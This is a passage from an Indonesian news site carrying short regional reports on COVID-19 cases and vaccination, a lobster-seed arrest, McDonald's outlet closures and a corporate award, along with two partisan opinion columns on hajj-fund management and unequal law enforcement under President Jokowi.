rekanya yaitu HN warga Wanasalam, Kabupaten Lebak, Banten. "Seluruh barang bukti benur, mobil dan dua pembawa bibit lobster itu diamankan ke kantor PJR Induk Serang tol Tamer," pungkasnya. (sws)

BOR 32 RS di Kota Tangerang Khusus COVID-19 Capai 52,54 Persen

Tangerang, FNN - Tingkat keterisian tempat tidur (Bed Occupancy Rate/BOR) di 32 rumah sakit (RS) khusus pasien COVID-19 se-Kota Tangerang hingga saat ini telah mencapai angka 52,54 persen. Wali Kota Tangerang Arief R Wismansyah di Tangerang Kamis mengatakan BOR yang saat ini terisi adalah 67 dari 116 tempat tidur ruang perawatan intensif (ICU), sedangkan untuk perawatan sebanyak 655 dari 1.244 total kamar keseluruhan. "Untuk itu saya berpesan agar masyarakat bisa terus menjaga protokol kesehatan dan jika mengalami gejala segera periksa ke faskes (fasilitas kesehatan) terdekat," kata Wali Kota Tangerang Arief R Wismansyah dalam keterangannya di Tangerang, Kamis. Sebagai langkah tindak lanjut dari penambahan kasus positif COVID-19 yang terjadi di Kota Tangerang, Pemerintah Kota (Pemkot) melalui Dinas Kesehatan menggencarkan vaksinasi kepada kelompok masyarakat rentan. Wali Kota mengungkapkan Pemkot telah melakukan vaksinasi kepada tak kurang dari 155.380 orang sebagai upaya menekan angka penyebaran COVID-19 di Kota Tangerang. "Termasuk untuk kelompok masyarakat rentan seperti ODGJ (orang dengan gangguan jiwa), disabilitas dan penderita komorbid. Jumlahnya sudah 1.778 orang tervaksinasi dosis satu. Kita lakukan dari pintu ke pintu supaya lebih cepat," katanya. Selain vaksinasi kepada sejumlah kelompok masyarakat, lanjut Arief, Pemerintah Kota Tangerang juga kembali menyiagakan fasilitas Rumah Isolasi Terkonsentrasi (RIT) sebagai lokasi perawatan bagi masyarakat Kota Tangerang yang positif COVID-19. "Saat ini dari empat RIT dengan total kapasitas 202 tempat tidur, sudah terisi 180 tempat tidur," katanya. (sws)

Menjernihkan Gagal Paham Kisruh Dana Haji

Oleh Tamsil Linrung Jakarta, FNN - Lagi-lagi Covid-19. Kali ini, wabah itu menjadi tersangka primer musabab pembatalan haji 2021. "Demi keselamatan jamaah", begitu kata Menteri Agama Yaqut Cholil Qoumas. Sungguh menyentuh hati. Tapi, tunggu dulu. Rasanya ada yang janggal di sana. Pertama, jika karena Covid, lalu mengapa negara melobi kuota? Kedua, setelah beberapa kali terkesan meremehkan, tiba-tiba saja kita seperti bangsa yang super hati-hati dalam persoalan Covid-19. Ingat bagaimana santainya pemerintah menyambut pandemi, kala itu? Atau wacana pariwisata yang sering menjadi kontroversi di tengah wabah? Pejabat yang mengundang kerumunan? Ketiga, kalau masalahnya Covid, seharusnya protokol kesehatan yang dimaksimalkan. Ya, karantina sebelum dan setelah berangkat, pembatasan jamaah, atau hal mendasar semacam 3M. Namun berbeda dengan negara lain, Indonesia mengambil langkah ekstrem. Tikus yang membuat ulah, lumbung padi yang dibakar. Seolah-olah begitu. Tidak heran, persepsi publik membuncah liar. Ada banyak tudingan, sebanyak bantahan pemerintah. Beberapa gagal paham menyelip dalam dialektika ini. Ayo kita jernihkan. Pertama, tentang pembatalan haji. Pembatalan tentu hanya konsekuensi saja. Yang menjadi soal adalah alasan pembatalannya. Argumentasi pemerintah terbukti tidak mampu meyakinkan masyarakat, lemah, sehingga mudah dibantah. Selain covid, musabab yang sempat mengemuka adalah tidak adanya kuota haji atau waktu yang mepet. Duh, ini sih lebih lemah lagi. Kedua, tentang pengguna dana haji untuk infrastruktur. Pemerintah bilang tidak ada dana haji untuk pembangunan infrastruktur. Tapi, mekanisme pengelolaan dana haji pasca investasi melalui sukuk Surat Berharga Syariah Negara (SBSN) membuka peluang ke arah itu. Pasal 4 UU 19/2008 tentang Surat Berharga Syariah Negara menyatakan, SBSN diterbitkan untuk membiayai APBN dan belanja negara termasuk membiayai infrastruktur. Sementara itu, Kementerian Keuangan telah merilis sejumlah proyek infrastruktur yang dibiayai sukuk dalam rentang waktu 2013 hingga 2020. Beberapa di antaranya adalah proyek Tol Solo-Ngawi-Colomandu, Jawa Tengah, pendirian Jembatan Youtefa di Jayapura, dan jalur ganda kereta lintas selatan Jawa. Lalu, atas keyakinan apa Pemerintah menjamin tidak ada dana haji untuk membiayai infrastruktur? Dana haji untuk infrastruktur sebenarnya tidak perlu dipersoalkan. Syaratnya, skala prioritasnya mengutamakan fasilitas untuk kepentingan jamaah. Toh duit haji adalah duit jamaah juga. Kita pernah punya cita-cita untuk memiliki pemondokan sendiri di Arab Saudi. Tapi sampai sekarang masih angan-angan saja sehingga jamaah harus rela berjalan kaki berkilo-kilo meter akibat pondokan yang jauh. Ketiga, tentang keamanan dana haji. Kita percaya duit bejibun calon jamaah haji tetap kembali, berikut manfaat investasinya. Hanya saja, putarannya harus dikalkulasi matang sehingga saat dibutuhkan, dana telah siap. Ini tentu tidak sulit karena musim pemberangkatan haji dapat dipastikan setiap tahunnya. Menilik laporan tahunan BPKH, investasi jangka panjang terlihat semakin besar dari tahun ke tahun. Pada 2018 tercatat Rp40 triliun, pada 2019 tercatat Rp60 triliun, dan Rp 90 triliun pada pada 2020. Sayangnya, publik tidak mendapatkan informasi yang lebih rinci dari angka-angka itu. Misalnya, investasi jangka panjang dialirkan kemana saja, untuk proyek apa saja, dan lain-lain. Ketiadaan atau minimnya informasi tersebut membuat desas-desus beranak pinak tak karuan. Kita memaklumi posisi BPKH. Lembaga ini sederhananya hanya nasabah saja. Sebagai nasabah, yang paling baik yang dapat dilakukan BPKH adalah memilih investasi terbaik, dengan manfaat maksimal, dan minim resiko. Selebihnya, pengelolaan investasi sepenuhnya urusan bank. Sering terdengar, keamanan dana haji dibuat berlapis. Investasi gagal, maka perlindungan Lembaga Penjamin Simpanan (LPS). Namun 95,17 persen aset LPS justru dibelanjakan dalam Surat Berharga Negara (SBN). Total aset LPS mencapai Rp140,16 triliun di akhir 2020. Sebanyak 133,39 atau 95,17 persen dalam bentuk SBN. Keempat, maka kita harus mendudukkan pula positioning BPKH. BPKH adalah lembaga yang ditunjuk negara untuk mengelola dan mengoptimalkan dana haji. Negaralah yang memberikan mandat, bukan jamaah haji. Padahal, yang dikelola adalah uang jamaah, bukan uang negara. Jadi, BPKH harusnya berada di tengah-tengah secara proporsional antara kepentingan pemerintah dan jamaah haji. Saat-saat begini, jamaah haji memerlukan informasi dan konfirmasi. Agar suplai Informasi pada jamaah maksimal, BPKH seharusnya menggagas terobosan baru untuk masuk ke gelanggang pascainvestasi. Dengan begitu, BPKH dimungkinkan mengetahui ke mana dana haji mengalir, untuk proyek apa saja, dan lain-lain sehingga dapat melaporkannya secara paripurna ke hadapan publik . Kelima, tentang tuntutan audit dana haji. Merespon tuntutan ini, Kepala BPKH Anggito Abimanyu mengatakan, setiap tahun dana haji diaudit oleh Badan Pemeriksa Keuangan (BPK). Bila pemerintah dan BPKH peka, tuntutan audit seharusnya dimaknai sebagai meningkatnya kekhawatiran publik alias menurunnya kepercayaan masyarakat. Lagi pula, desakan audit menginginkan pelibatan akuntan independen, selain BPK. Desakan audit muncul akibat surplus spekulasi yang menyesaki bisik-bisik di ruang publik. Yang santer terdengar adalah misalokasi dana yang berujung tidak siapnya dana haji saat diperlukan. Benarkah demikian? Kalau tidak benar, lalu bagaimana membuktikannya kepada publik? Tentu jawaban yang paling tepat adalah audit dana haji oleh akuntan independen. Bila tidak, bisik-bisik akan semakin liar dan berpotensi menjadi auman. Selain dugaan misalokasi dana haji, juga muncul variabel isu lain yang mengaitkan Habib Rizieq Shihab. Isu ini membangun sudut pandang penghormatan Kerajaan Arab Saudi terhadap HRS selaku keturunan Rasul yang berbanding terbalik dengan ketidakadilan hukum yang diterima beliau di tanah air. Konon, itu punya pengaruh. Tidak berhenti di sana, muncul lagi spekulasi yang mengaitkan pembatalan haji dengan kebangkitan komunis gaya baru. Spekulasi ini seolah mendapat pembenaran ketika ulama atau tokoh Islam dipersekusi, dikriminalisasi, dicap radikal, dan seterusnya, yang dipandang sebagai agenda politik neokomunisme. Pun dengan pengrusakan imej simbol-simbol Islam. Haji bukan sekadar ibadah mahdhah, tapi juga mengandung syiar islam, persatuan dan kebersamaan umat, perjuangan dan nilai-nilai Islam lainnya. Apapun itu, spekulasi hanya bisa dibantah dengan data. Data pulalah yang bisa membackup kebenaran alasan keputusan menteri agama membatalkan ibadah haji pada tahun ini. Kalau musabab gagal berangkat karena misalokasi dana haji, tidak murni pertimbangan Covid-19, menteri agama dan presiden Joko Widodo tentu harus bertanggungjawab. Jadi, audit sebaiknya dilakukan saja, agar pemerintah terbebas tudingan miring dan rakyat tidak terbelenggu syak wasangka. Penulis adalah Anggota DPD RI

Panglima TNI Tinjau "Serbuan Vaksinasi" di Kota Bandung

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto didampingi Kapolri Jenderal Pol Listyo Sigit Prabowo dan Kepala BNPB Letjen TNI Ganip Warsito meninjau "Serbuan Vaksinasi" COVID-19 di Grand Ballroom Sudirman, Bandung, Jawa Barat, Kamis. Saat melakukan peninjauan yang juga dihadiri oleh Gubernur Jawa Barat Ridwan Kamil, Panglima TNI sempat berdialog dengan masyarakat yang tengah melaksanakan vaksin. "Bapak-Ibu, yang telah melaksanakan vaksin, harus tetap melaksanakan disiplin protokol kesehatan, selalu memakai masker, rajin mencuci tangan dan menjaga jarak. Karena itulah senjata yang paling ampuh untuk memutus mata rantai penyebaran virus yang mematikan ini," kata Marsekal Hadi dalam siaran persnya. Dengan menerapkan disiplin protokol kesehatan, kata dia, berarti masyarakat peduli terhadap dirinya,. keluarganya dan lingkungan sekitarnya. Sebanyak 5.000 orang mendapatkan vaksinasi yang berasal dari area kota Bandung dan sekitarnya. Kegiatan yang dilaksanakan selama dua hari ini mendapat antusiasme masyarakat. Diharapkan melalui serbuan vaksinasi ini dapat mempercepat pencapaian herd immunity, sehingga program pemerintah ke depan dapat terwujud dengan cepat dan baik, menuju Indonesia sehat bebas COVID-19. Adapun vaksinator yang bertugas, terdiri dari 80 vaksinator TNI AD, 20 vaksinator TNI AU dan 80 vaksinator dari Polri dengan total 180 vaksinator. Kabidpenum Puspen TNI, Kolonel Laut (KH) Edys Riyanto, mengatakan, pandemi COVID-19 yang melanda hampir di seluruh belahan dunia sejak akhir tahun 2019, hingga saat ini belum juga berakhir dan sejak awal Maret 2020 dinyatakan terkonfirmasi di Indonesia. Sejak kemunculan wabah COVID-19 di Indonesia, kata Edys, TNI terus bergerak untuk membantu Pemerintah, yang diawali dengan penjemputan WNI ke Wuhan, Tiongkok. TNI dengan cepat menyiapkan fasilitas-fasilitas kesehatan dan rumah sakit darurat khusus COVID-19 beserta tenaga kesehatannya. TNI juga membantu mendistribusikan alat kesehatan ke berbagai Provinsi dan hingga kini masih terus melaksanakan penegakan disiplin protokol kesehatan melalui PPKM (Pemberlakuan Pembatasan Kegiatan Masyarakat) skala mikro. (mth)

Peningkatan COVID-19 Gerendeng-Gandasari Karena Aktivitas Mudik

Tangerang, FNN - Peningkatan kasus COVID-19 di satu RW Kelurahan Gerendeng dan Kelurahan Gandasari, Kota Tangerang, Banten karena aktifitas mudik, hajatan dan silaturahmi antarwarga. "Selain itu, ada juga faktor lain seperti hajatan dan silaturahmi antarwarga. Tanpa disadari ada yang OTG (orang tanpa gejala) dan ternyata menularkan ke yang lain," kata Wali Kota Tangerang Arief R Wismansyah di Tangerang Kamis. Pemerintah Kota Tangerang pun bergerak cepat menanggapi terjadinya peningkatan kasus COVID-19 yang terjadi pada dua wilayah yang ada di Kota Tangerang beberapa hari terakhir. Wali Kota menjabarkan Pemkot melalui Dinas Kesehatan telah melakukan testing dan pelacakan (tracing) secara menyeluruh di sejumlah wilayah Kota Tangerang, terlebih sejak Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro. "Hasilnya ditemukan kasus yang saat ini terjadi di satu RW Kelurahan Gerendeng dan Kelurahan Gandasari. Testing dan 'tracing' dilakukan hampir setiap hari, untuk mendapatkan hasil yang akurat. Penanganan bagi yang positif, dirujuk ke RIT atau rumah sakit bila gejalanya berat," katanya. Lebih lanjut Wali Kota menjelaskan saat ini terdapat sebanyak 29 penambahan kasus positif Covid-19 di wilayah Kelurahan Gerendeng, usai dilakukan tes usap antigen di wilayah tersebut. "Total kasus positif hingga hari ini sebanyak 59 kasus dari hasil tes antigen dan kemudian akan dipastikan kembali dengan tes usap PCR," pungkasnya. Dinas Kesehatan Kota Tangerang Banten menggelar vaksinasi COVID-19 setiap harinya dengan target minimal 500 sasaran guna mempercepat target kekebalan kelompok. "Kami sangat serius dalam melakukan penanganan COVID-19. Vaksinasi, kita gelar setiap hari, rata-rata mencapai 500 dosis setiap harinya. Baik dilakukan secara massal di Puskesmas maupun metode dari pintu ke pintu untuk lansia dan masyarakat rentan," kata Kepala Dinas Kesehatan Kota Tangerang dr Liza Ia merinci data vaksinasi COVID-19 di Kota Tangerang per Selasa (8/6) sudah 155.380 orang pada dosis satu dan 101.442 dengan dosis lengkap. Rinciannya adalah tenaga kesehatan dengan target sasaran 10.816 dan yang sudah tervaksinasi 13.570 orang pada dosis satu atau 125,5 persen dan 12.988 orang dosis lengkap atau 120,1 persen. Lanjutnya, pada kelompok tenaga publik memiliki target 94.939 sasaran. Hingga saat ini, sudah 76.633 orang dosis satu atau 80,7 persen dan 48.336 orang dosis lengkap atau 50,9 persen. Kelompok lansia dengan target 117.010 sasaran, sudah 51.487 orang dosis satu atau 44,0 persen dan 40.118 orang dosis lengkap atau 34,3 persen. “Tercatat untuk vaksin gotong royong di Kota Tangerang sudah 11.912 orang pada dosis satu. Begitu juga dengan kelompok baru yaitu masyarakat rentan seperti ODGJ (orang dengan gangguan jiwa), disabilitas dan penderita komorbid di Kota Tangerang sudah 1.778 orang tervaksinasi dosis satu,” ujarnya. (sws)

Dispusip Tanah Laut Fasilitasi Pelatihan Pembuatan Sasirangan

Banjarmasin, FNN- Dinas Perpustakaan dan Kearsipan (Dispusip) Kabupaten Tanah Laut (Tala), Kalimantan Selatan, memfasilitasi pelatihan pembuatan sasirangan untuk para kaum milenial bertempat di Aula Dispusip. Kepala Dispusip Kabupaten Tanah Laut Rhoedy Erhansyah, di Pelaihari, Rabu, mengatakan, kelas pembuatan sasirangan bagi kaum milenial tersebut bertujuan agar mereka memperoleh kesempatan belajar, agar warisan budaya leluhur tetap lestari. Dikatakannya, kelas pembuatan sasirangan mendapat antusias dari muda-mudi di Kabupaten Tanah Laut, namun mengingat masa pandemi COVID-19 maka kuota dibatasi hanya untuk 15 peserta. "Diharapkan dengan adanya kegiatan ini para anak muda atau kaum milenial yang ada di Kabupaten Tanah Laut bisa mendapatkan ilmu yang nantinya mereka bisa kembangkan. Kami juga berharap mereka nantinya bisa berinovasi terhadap kain sasirangan," ujar Rhoedy Erhansyah. Salah satu peserta Winda mengaku senang dan antusias mengikuti kelas pembuatan sasirangan dan sangat tertarik untuk belajar membuat kain sasirangan. "Sangat senang dengan adanya pelatihan ini, sebab saya rasa kita harus punya ketrampilanl terlebih dahulu minimal memiliki dasar bagaimana pembuatan kain sasirangan. Setelah itu bisa dikembangkan, bahkan mungkin ke depannya bisa jadi peluang usaha juga," tandas Winda. Dalam pelatihan itu dirinya bersama peserta lainnya tetap penerapkan protokol kesehatan di antaranya dengan selalu memakai masker dan menjaga jarak. Untuk diketahui Sasirangan adalah kain tradisional khas Kalimantan Selatan. Dimana kata sasirangan berasal dari kata Bahasa Banjar, yaitu sirang yang berarti menjelujur. (sws)

Dinkes: Pasien COVID-19 Sembuh di Bangka Tengah Tercatat 2.219

Koba, Babel, FNN - Dinas Kesehatan Kabupaten Bangka Tengah, Provinsi Kepulauan Bangka Belitung menyatakan, pasien COVID-19 yang dinyatakan sembuh tercatat sebanyak 2.219 orang dari 2.461 warga setempat yang terkonfirmasi positif virus corona baru tersebut. Plt Kepala Dinas Kesehatan Bangka Tengah Zaitun menyatakan, berdasarkan data tabulasi perkembangan kasus pada Rabu, tercatat sebanyak 2.461 warga terkonfirmasi positif terpapar virus corona baru dengan rincian sebanyak 2.219 dinyatakan sembuh, 210 orang masih dirawat (kasus aktif) dan 32 orang dinyatakan meninggal dunia. "Kita sangat konsentrasi menangani kasus virus corona baru dengan terus melakukan vaksinasi, sosialisasi protokol kesehatan dan menyiapkan semua alat medis yang memadai," ujarnya. Ia juga mengimbau kepada warga tidak terlena dan terus hati-hati dengan penyebaran virus COVID-19. "Jangan pernah menganggap enteng dengan virus ini, karena benar adanya dan risikonya sangat tinggi," ujarnya. Berdasarkan data sebaran kasus, kata dia, tercatat tiga kecamatan dinyatakan rawan yaitu Kecamatan Pangkalanbaru, Namang, Koba dan Kecamatan Simpangkatis dengan tingkat temuan kasus lebih tinggi dibanding tiga dari enam kecamatan di daerah itu. Penyebaran kasus virus corona baru terendah tercatat di Kecamatan Lubuk Besar dan Kecamatan Sungaiselan. Data tabulasi juga mencatat usia warga rentan terpapar virus corona baru yaitu 55 hingga 69 tahun. (sws)

Wali Kota Bandung Minta Satpol PP Tutup Gerai McD Timbulkan Kerumunan

Bandung, FNN - Wali Kota Bandung Oded M Danial meminta aparat Satuan Polisi Pamong Praja (Satpol PP) untuk menutup gerai restoran siap saji McDonald's (McD) yang menimbulkan kerumunan. "Saya kemarin perintahkan kepada Satpol PP itu harus ditindak, sanksinya ditutup," kata Oded di saat meninjau vaksinasi yang digelar TNI-Polri di Sudirman Ballrom, Kota Bandung, Jawa Barat, Kamis. Ia belum memastikan berapa lama sanksi penutupan gerai McD tersebut. Menurutnya hal itu diserahkan ke pihak Satpol PP terkait lamanya penutupan tersebut. "Selama berapa harinya itu di Satpol PP, dendanya juga sama," kata Oded. Sebelumnya pada Rabu (9/6), sejumlah gerai McD di Kota Bandung mengalami kerumunan para ojek online yang menerima pesanan untuk mengantarkan produk baru McD. Produk yang bernama BTS Meals itu merupakan hasil kerja sama antara McD dengan grup boyband asal Korea Selatan yakni BTS. Selain di Bandung, fenomena tersebut pun terjadi di berbagai daerah di Tanah Air. Akibat kerumunan itu, Satpol PP Kota Bandung melakukan penutupan terhadap tiga gerai McD yang berada di Buahbatu, Cibiru, dan Kopo. Selain penutupan, aparat Satpol PP gabungan bersama TNI-Polri juga melakukan pembubaran kepada kerumunan tersebut guna mencegah potensi kenaikan COVID-19. (sws)

Sebanyak 2.988 Orang Warga Aceh Jaya Terima Dana BPUM

Banda Aceh, FNN - Sebanyak 2.988 pelaku usaha mikro, kecil, dan menengah (UMKM) terdampak COVID-19 di Kabupaten Aceh Jaya, menerima bantuan produktif usaha mikro (BPUM) dari Pemerintah Pusat. “Alhamdulillah SK dari kementerian Koperasi dan UKM sudah keluar, terdapat sebanyak 2.988 orang penerima. Bantuan ini merupakan sala satu upaya membantu UMKM untuk bangkit kembali,” kata Abu Bakar, Rabu. Untuk penyalurannya, pihaknya akan menggelar rapat terbatas dengan pihak Bank Aceh terkait bagaimana penyaluran dana tersebut sesuai dengan tetap menerapkan protocol Kesehata Pada tahun 2020 pihaknya mengusulkan sebanyak 15.000 orang lebih dan yang keluar sesudah hasil verifikasi sebanyak 2.988 orang. “Sistem pengambilan nanti langsung ke Bank dan langsung mengikuti prosedur pengambilan dengan dan tidak ada pendampingan serta pemotongan dana apapun dengan jumlah anggaran yang diterima Rp1.200.000,” kata Abu Bakar. Pihaknya berharap dengan adanya bantuan tersebut dapat membantu UMKM untuk terus bangkit di tengah pandemi COVID-19. (sws)

Dinkes Ambon Sasar Vaksinasi Pra Lansia

Ambon, FNN- Dinas Kesehatan (Dinkes) Ambon menyasar cakupan kelompok vaksinasi COVID-19 pada kelompok pra-lansia yakni usia 50 tahun ke atas. Kepala Dinas Kesehatan (Dinkes) Kota Ambon, Wendy Pelupessy, di Ambon, Kamis, mengatakan, perluasan cakupan vaksinasi sesuai dengan surat edaran Kementerian Kesehatan Nomor HK.02.02/II/2021 tentang percepatan pelaksanaan vaksinasi COVID-19 kelompok pra-lansia. Surat edaran tersebut menyatakan, kelompok pra-lansia umur 50 tahun ke atas sudah bisa mendapatkan vaksinasi COVID-19 karena dianggap kelompok usia rentan. "Kami mulai menyasar kelompok pra-lansia menjadi prioritas vaksinasi, karena mereka masuk dalam kelompok rentan," ujar Wendy. Dijelaskannya, warga pra-lansia bisa datang ke fasilitas pelayanan kesehatan, seperti Puskesmas untuk mendaftar diri terlebih dulu kemudian mendapat jadwal vaksinasi. "Kami berupaya agar bukan hanya kelompok lansia tapi pra-lansia juga menjadi prioritas vaksinasi," katanya. Upaya vaksinasi, menurut Wendy, akan terus dilakukan bagi lansia dengan menerapkan sistem “jemput bola" pelayanan vaksinasi COVID-19 di rumah - rumah lansia. "Kita berharap seluruh lansia di Kota Ambon divaksinasi, karena masuk kelompok yang rentan terpapar COVID-19 dan menjadi prioritas untuk divaksinasi," ujarnya. Hingga saat ini capaian vaksinasi untuk lansia di kota Ambon sebesar 41,47 persen. "Pemerintah menganjurkan lansia menjadi prioritas karena kita belum capai 50 persen, diharapkan kedepan akan terus meningkat," tandas Wendy. (sws)

Hukum Tajam ke Oposisi Tumpul ke Pendukung Jokowi

JUDUL di atas mengingatkan kita betapa carut-marutnya hukum di negeri Pancasila ini. Padahal, kalimatnya berbunyi, "Hukum tajam atau runcing ke bawah, tumpul ke atas." Kalimat runcing atau tajam ke bawah, tumpul ke atas merujuk pada banyaknya kasus kelas teri yang diproses secara hukum, dan kelas kakap dipetieskan. Hal tersebut bisa terjadi karena hukum masih bisa dibeli. Hukum bisa diperdagangkan. Hukum bisa mandul jika berhadapan dengan orang berkuasa, berduit, memiliki beking, dan memiliki pengaruh. "Koruptor bisa dihukum rendah dan sering memakai batik saat tampil di televisi, pencuri ayam dihukum berat dan selalu memakai kaos atau rompi tahanan," begitu kalimat yang sering didengar dalam obrolan di warung kopi hingga perkantoran, dari lingkungan perumahan biasa sampai perumahan elit. Sedangkan kepada mereka yang tidak punya apa-apa dan siapa, hukum sangat tajam. Mereka mudah dijadikan tersangka dan ditahan, kasusnya bergulir ke pengadilan, dan divonis bersalah. Ingat kasus nenek Asyani yang divonis 1 tahun penjara dengan masa percobaan 1 tahun 3 bulan dan denda Rp 500.000 subsider satu hari hukuman percobaan gara-gara mencuri kayu jati milik Perhutani. Nenek berusia 63 tahun itu membantah tuduhan, karena kayu jati yang digunakan tempat tidur itu diambil dari lahannya sendiri oleh almarhum suaminya. Itu peristiwa tahun 2015 yang sempat menggemparkan jagat hukum di Indonesia. Mencuri tidak dibenarkan dalam hukum agama apa pun, dan juga dalam hukum positif (KUH Pidana). Akan tetapi, perlakuan hukum kepada nenek renta itu dirasakan sangat tidak adil. Tahun 2017, seorang kakek berusia 62 tahun juga harus mendekam di penjara gara-gara dilaporkan sang menantu. Kakek bernama Charli itu dilaporkan dengan tuduhan penggelapan uang Rp 3,5 juta. Menantu bernama Panji melaporkannya dengan tuduhan menjual tanah 44 hektare dengan harga Rp 3,5 juta. Padahal, tanah tersebut sudah dijual Panji tahun 2014. Masih banyak kisah pilu lainnya tentang orang lemah dan tidak berdaya dalam menghadapi hukum. Kasus orang-orang lemah yang meradang karena jeratan hukum cukup banyak, meskipun yang muncul ke permukaan sangat sedikit. Rakyat geram atas perlakuan yang dinilai tidak adil itu. Banyak rakyat, termasuk ahli hukum dan pemerhati hukum harus mengernyitkan dahi melihat perlakuan hukum yang dilakukan oleh penegak hukum, terutama polisi yang menjadi awal laporan kasus. Tidak heran jika Presiden Joko Widodo (Jokowi) menegaskan, cita-cita Indonesia sebagai negara hukum belum sepenuhnya terwujud dalam praktik kehidupan sehari-hari. "Hukum masih dirasa cenderung tajam dan runcing ke bawah dan tumpul ke atas," kata Jokowi dalam pembukaan rapat terbatas di Kantor Presiden, Jakarta, Selasa, 11 Oktober 2016. Ucapan Jokowi itu menarik, karena mencuat pada saat dia baru hampir dua tahun menjadi presiden dalam periode pertama dengan Wakil Presiden M Jusuf Kalla. Ucapannya itu penuh makna dan harapan agar hukum benar-benar dijadikan panglima. Penegakan hukum diharapkan bisa terwujud secara adil tanpa mengenal pandang-bulu. Akan tetapi, harapan tinggal harapan. Semakin lama, penegakan hukum semakin mandul dan acak-acakan. Apalagi menjelang periode kedua dan awal periode kedua Jokowi menjadi penguasa hingga sekarang. Hukum.semakin tercabik-cabik. Sekarang rakyat semakin merasakan jauhnya penegakan hukum yang adil. Mengambil istilah politik hukum, "Penegakan hukum hanya tebang pilih." Sebab, jika yang melaporkan pendukung Jokowi dan rezimnya, sangat cepat ditanggapi polisi. Jika yang melaporkan kasus adalah BuzzerRp, maka respon polisi sangat cepat dan sigap menerimanya. Bahkan, dalam pelaksanaannya orang yang dilaporkan pendukung Jokowi dan BuzzerRp cepat direspon, dengan menangkapnya di tengah malam. Akan tetapi sebaliknya. Jika yang melapor adalah oposisi, maka jangan kecewa jika pelapornya disuruh balik melengkapi berkas. Itu hanya bahasa halus. Padahal, sebenarnya laporannya ditolak polisi. Kasus ini sering terjadi. Seandainya laporan diterima, prosesnya pun tidak jalan. Ingat kasus Deny Siregar yang dilaporkan karena dugaan penghinaan kepada santri di Tasikmalaya. Sampai sekarang kok kasusnya diam atau didiamkan? Hal itu tidak lain karena yang dilaporkan adalah BuzzerRp yang tidak lain pendukung Jokowi. Banyak kasus ketidakadilan yang dirasakan oleh rakyat, terutama oposisi dan pengkritisi Jokowi dan rezimnya. Ada penegakan hukum, tetapi tidak adil. Rakyat membutuhkan penegakan hukum yang adil. Ingat kasus Budi Djarot? Kasus Dewi Tandjung, Abu Janda, dan sederet Buzzer Rp lainnya yang kerap menghina dan mengolok-olok umat Islam dan ulama. Bahkan, ada BuzzerRp yang menghina Nabi Muhammad dan memelesetkan AlQur'an. Sudah ada yang dilaporkan, tetapi tidak direspon, apalagi diproses. Baru direspon polisi, ketika masyarakat "mengepung" rumahnya dan menginterogasi orangnya. Jika dari kubu oposisi atau pengkritisi Jokowi yang dilaporkan, sudah dipastikan cepat diproses. Bahkan, beberapa kasus, polisi sendiri yang membuat laporan (secara hukum dibenarkan). Kasus terakhir dan menarik adalah laporan mantan Menteri Pemuda dan Olahraga Roy Suryo terhadap Eko Kunthadi dan Mazdjo Pray. Keduanya dilaporkan politisi Partai Demokrat itu dalam kasus dugaan pencemaran nama baik. Betul, polisi menindaklanjuti laporan tersebut. Akan tetapi, sungguh aneh, karena polisi justru "ngotot" melakukan mediasi terlebih dahulu. Banyak dugaan, upaya mediasi itu dilakukan pihak penyidik Polda Metro Jaya karena Eko dan Mazdjo pendukung Jokowi (walau bukan pendukung terbuka dan membabi-buta), sedangkan Roy Suryo dianggap oposisi. Secara hukum mediasi dibenarkan, tetapi mestinya polisi tidak langsung menggiringnya ke arah tersebut. Wahai Jokowi dan pendukungmu, berhentilah bermain-main dengan hukum. Wahai polisi, kalian harus adil dalam menegakkan hukum. Jangan permainkan hukum. Sebab, masih ada hukum Allah yang paling adil. ***

BNI CorpU Raih Rredikat Gold Internasional dalam Ajang GCCU Award 2021

Jakarta, FNN - BNI Corporate University atau BNI CorpU meraih penghargaan gold pada kategori Branding and Durability dalam ajang Global Council of Corporate University (GCCU) Award 2021 menyisihkan peserta dari Amerika Serikat dan Rusia. Direktur Human Capital dan Kepatuhan BNI Bob Tyasika Ananta menyatakan salah satu poin plus kategori ini adalah agility dalam pandemi COVID-19 yakni BNI CorpU mengintensifkan pembelajaran digital dengan mengembangkan Zoominars COVID-19 dan Program Learning from Home. “Pada kategori Best Corporate University - Branding and Durability BNI berhasil menyisihkan pesaing dari DAU (AS) dan Rosatom Tech (Rusia),” katanya dalam keterangan di Jakarta, Kamis. Bob mengatakan dewan juri menilai BNI CorpU mampu menunjukkan keterlibatan yang tinggi dalam mendukung corporate culture serta pengembangan competency, skill, dan attitude untuk mendukung bisnis perusahaan. BNI CorpU juga layak dipandang sebagai masterpiece dari branding Corporate University karena memiliki fasilitas pembelajaran digital yang memadai. Fasilitas pembelajaran digital tersebut meliputi Artificial Intellegence LeVA (Learner’s Virtual Assistance), Learning Game, Podcast dan Webinar Suplemen Pengetahuan BNI CorpU TV melalui saluran YouTube. Selain itu, branding logo BNI CorpU turut dinilai sangat menarik oleh tim juri internasional karena mengusung moto learn, grow, and lead. Bob menuturkan BNI CorpU juga meraih akreditasi Corporate Learning Improvement Process (CLIP) dari EFMD (European Foundation for Management Development) sebagai bank pertama di Asia yang mendapatkan akreditasi ini pada 2019. Global CCU merupakan sebuah organisasi yang didirikan pada 2005 dengan tujuan untuk menghubungkan jaringan global yakni para profesional di bidang corporate university serta membantu anggotanya saling belajar dari pengalaman dan best practice masing-masing. GCCU Awards merupakan event dua tahunan sebagai pengakuan Corporate University terbaik di skala global yang menciptakan nilai strategis untuk people, business, dan society. “Kami berharap penghargaan ini dapat semakin meningkatkan kepercayaan dan kredibilitas BNI CorpU untuk dapat memberikan layanan terbaik bagi pemangku kepentingan di internal BNI maupun pihak eksternal,“ kata Bob. Ia melanjutkan, keikutsertaan BNI CorpU dalam ajang GCCU Award ini bertujuan untuk membuka peluang saling berbagi dan belajar antar CorpU seluruh dunia secara langsung. Hal itu dapat terjadi karena ajang ini mampu memunculkan adanya interaksi antar Chief Learning Officers, pengelola sumber daya manusia, dan VP Executives melalui platform inovatif. Tak hanya itu, keikutsertaan BNI CorpU juga sebagai upaya melakukan self assessment berdasarkan standard best practice CorpU dunia, mengetahui positioning di antara corporate university lain, serta dasar untuk melakukan improvement terhadap proses bisnis dan output. “Langkah ini dilakukan dalam rangka melakukan benchmarking best practice Corporate University secara global,” katanya. (mth)

Berpikirlah Positif Hadapi Pandemi CPVID-19

